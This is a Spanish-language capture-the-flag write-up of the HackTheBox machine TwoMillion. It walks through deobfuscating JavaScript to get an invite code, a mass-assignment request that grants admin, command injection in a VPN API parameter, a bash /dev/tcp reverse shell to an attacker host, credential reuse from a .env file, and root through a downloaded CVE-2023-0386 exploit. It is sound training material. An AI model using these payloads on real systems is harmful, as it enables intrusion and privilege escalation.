WriteupFácilLinux18 de diciembre de 202514 min de lectura

HackTheBox: Writeup de TwoMillion

Resolución de TwoMillion de HackTheBox: desofuscación de JavaScript para generar un invite code, broken access control en la API para escalar a admin, command injection en la generación de VPN y escalada con CVE-2023-0386 (OverlayFS).


TwoMillion es una máquina Linux de dificultad fácil de HackTheBox, lanzada para celebrar los dos millones de miembros en la plataforma. Recrea la interfaz antigua de HTB e incluye una cadena de explotación que pasa por ingeniería inversa de JavaScript, broken access control en una API y una escalada mediante un exploit de kernel.


1. Reconocimiento inicial

Añadimos la máquina al /etc/hosts:

echo "10.10.11.221 2million.htb" >> /etc/hosts

Lanzamos el escaneo con Nmap:

sudo nmap -p- -sS -sCV --min-rate 5000 -n -Pn 2million.htb -oN scan
PuertoEstadoServicioVersión
22/tcpopensshOpenSSH 8.9p1 Ubuntu
80/tcpopenhttpnginx

Solo SSH y HTTP. Abrimos la web en el navegador.


2. Enumeración web: obtención del invite code

La web imita el antiguo portal de HackTheBox. Para registrarse hace falta un invite code. En el código fuente de la página /invite encontramos un script ofuscado:

eval(function(p,a,c,k,e,d){...})

Copiamos la función al navegador y la ejecutamos para desofuscar. El resultado nos muestra que hay que llamar a un endpoint de la API:

curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate
{"data":{"verifyMessage":"Va beorder gb trkg lbhe vaivgr pbqr, lbh arrq gb znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr"}}

El mensaje está cifrado con ROT13. Lo desciframos:

In order to get your invite code, you need to make a POST request to /api/v1/invite/generate

Generamos el código:

curl -s -X POST http://2million.htb/api/v1/invite/generate
{"data":{"code":"Tk1WS1gtWUhJQTctVE9TNjItUVBSSFo=","format":"encoded"}}

Decodificamos el base64:

echo "Tk1WS1gtWUhJQTctVE9TNjItUVBSSFo=" | base64 -d
NMVKX-YHIA7-TOS62-QPRHZ

Nos registramos con este código y accedemos a la plataforma.


3. Escalada de privilegios en la API

Enumeramos los endpoints disponibles de la API:

curl -s http://2million.htb/api/v1 -b "PHPSESSID=<tu_cookie>"

Entre los endpoints vemos uno interesante:

PUT /api/v1/admin/settings/update

Intentamos actualizar nuestra cuenta para convertirnos en admin:

curl -s -X PUT http://2million.htb/api/v1/admin/settings/update \
  -H "Content-Type: application/json" \
  -b "PHPSESSID=<tu_cookie>" \
  -d '{"email":"tuuser@htb.local","is_admin":1}'
{"id":13,"username":"carlos","is_admin":1}

Somos admin. La API no valida si quien hace la petición tiene permisos para cambiarlo — broken access control clásico.


4. Ejecución remota de comandos (RCE)

Con permisos de admin tenemos acceso al endpoint de generación de VPN:

curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
  -H "Content-Type: application/json" \
  -b "PHPSESSID=<tu_cookie>" \
  -d '{"username":"carlos"}'

El parámetro username se pasa sin sanitizar a un comando del sistema. Probamos inyección de comandos:

curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
  -H "Content-Type: application/json" \
  -b "PHPSESSID=<tu_cookie>" \
  -d '{"username":"carlos;id;"}'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Tenemos RCE. Nos ponemos en escucha y enviamos una reverse shell:

nc -lvnp 4444
curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
  -H "Content-Type: application/json" \
  -b "PHPSESSID=<tu_cookie>" \
  -d '{"username":"carlos;bash -c '\''bash -i >& /dev/tcp/10.10.14.X/4444 0>&1'\''"}'

Recibimos la shell como www-data. La mejoramos:

python3 -c 'import pty;pty.spawn("/bin/bash")'

5. Movimiento lateral a admin

En el directorio de la aplicación encontramos un archivo .env:

cat /var/www/html/.env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Probamos esa contraseña para el usuario admin del sistema:

su admin

Funciona. Ya somos admin y podemos leer la flag de usuario:

cat /home/admin/user.txt

6. Escalada de privilegios: CVE-2023-0386

Comprobamos la versión del kernel:

uname -a
Linux 2million 5.15.70-051570-generic #202209231016 SMP Fri Sep 23 10:16:57 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

El kernel 5.15.70 es vulnerable a CVE-2023-0386, un fallo en el subsistema OverlayFS que permite escalar privilegios a root. Descargamos el PoC en nuestra máquina y lo transferimos:

# En nuestra máquina
git clone https://github.com/xkaneiki/CVE-2023-0386
cd CVE-2023-0386
make
python3 -m http.server 8000
# En la máquina víctima
wget http://10.10.14.X:8000/CVE-2023-0386.tar -P /tmp
cd /tmp && tar -xf CVE-2023-0386.tar

Ejecutamos el exploit (requiere dos terminales):

# Terminal 1
./fuse ./ovlcap/lower ./gc
# Terminal 2
./exp
uid=0(root) gid=0(root) groups=0(root)

Somos root:

cat /root/root.txt

Resumen de técnicas utilizadas

  • Desofuscación de JavaScript para descubrir endpoints de API
  • Descifrado de ROT13 y base64 para obtener el invite code
  • Broken access control en la API para escalar a administrador
  • Command injection en el endpoint de generación de VPN
  • Lectura de credenciales en archivo .env
  • Escalada de privilegios con CVE-2023-0386 (OverlayFS privilege escalation)
Tiempo en página 0:00Lectura estimada: 14 min

Posts relacionados

WriteupFácilLinux

HackTheBox: Writeup de Cap

Resolución de la máquina Cap de HackTheBox: IDOR en un panel de capturas de red que expone credenciales FTP en texto plano y escalada de privilegios abusando de cap_setuid sobre el binario de Python.

28 de noviembre de 202510 min
WriteupFácilLinux

HackTheBox: Writeup de Chemistry

Resolución de Chemistry de HackTheBox: RCE mediante CVE-2024-23346 en pymatgen al procesar ficheros CIF maliciosos, cracking de hashes MD5 de SQLite para moverse lateralmente y escalada leyendo la clave SSH de root con path traversal en AioHTTP (CVE-2024-23334).

5 de diciembre de 202511 min
WriteupFácilLinux

HackTheBox: Writeup de Alert

Resolución de Alert de HackTheBox: XSS almacenado en un visor de Markdown para leer archivos internos del servidor, cracking de un hash APR-MD5 y escalada abusando de permisos de escritura de grupo sobre un script ejecutado por cron como root.

15 de enero de 202612 min